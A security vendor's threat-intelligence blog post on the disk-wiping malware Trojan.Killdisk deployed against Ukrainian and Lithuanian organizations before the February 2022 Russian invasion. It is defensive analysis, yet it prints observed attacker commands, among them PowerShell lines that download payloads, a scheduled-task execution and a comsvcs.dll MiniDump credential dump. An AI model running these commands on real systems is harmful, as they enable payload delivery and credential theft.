Ukraine: Disk-wiping Attacks Precede Russian Invasion

symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia

Threat Hunter TeamSymantec

UPDATE February 24, 2022, 13:42: *This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks.*

UPDATE February 25, 2022, 17:00: *This blog has been updated with details on how a known Microsoft SQL Server vulnerability (CVE-2021-1636) was exploited in at least one attack.*

A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion this morning (February 24). Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors.

Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the corresponding file according to the operating system (OS) version of the infected system. Driver file names are generated using the Process ID of the wiper

Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The wiper does not appear to have any additional functionality beyond its destructive capabilities.

Attack chain

Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and verify findings.

In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23.

An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers may have leveraged a Tomcat exploit in order to execute a PowerShell command. The decoded PowerShell was used to download a JPEG file from an internal server, on the victim's network.

> cmd.exe /Q /c powershell -c "(New-Object System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')" 1> \\127.0.0.1\ADMIN$__1636727589.6007507 2>&1

A minute later, the attackers created a scheduled task to execute a suspicious 'postgresql.exe' file, weekly on a Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the task.

- cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$__1636727589.6007507 2>&1
- schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess"

Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time instead.

Beginning on February 22, Symantec observed the file 'postgresql.exe' being executed and used to perform the following:

- Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com
- Execute a PowerShell command to download another JPEG file from a compromised web server - confluence[.]novus[.]ua

Following this activity, PowerShell was used to dump credentials from the compromised machine:

> cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$__1638457529.1247072 2>&1

Later, following the above activity, several unknown PowerShell scripts were executed.

- powershell -v 2 -exec bypass -File text.ps1
- powershell -exec bypass gp.ps1
- powershell -exec bypass -File link.ps1

Five minutes later, the wiper (Trojan.KillDisk) was deployed.

SQL Server exploit

The attackers appear to have used an exploit of a known vulnerability in Microsoft SQL Server (CVE-2021-1636) in order to compromise at least one of the targeted organisations. In an attack against an organization in Ukraine, the following process lineage was used to execute the "whoami" command on November 11 2021:

> CSIDL_SYSTEM_DRIVE\program files\microsoft sql server\mssql12.mssqlserver\mssql\binn\sqlservr.exe,CSIDL_SYSTEM\services.exe,CSIDL_SYSTEM\wininit.exe

The next day, the same process lineage was responsible for executing the following PowerShell command:

```
(New-Object System.Net.WebClient).DownloadFile('hxxp://[INTERNAL_HOST]/label.ico','C:\temp\sys.tmp1')
```

The organization was running an unpatched version of Microsoft SQL Server.

Ransomware decoy

In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.

About the Author

Threat Hunter Team

Symantec

The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.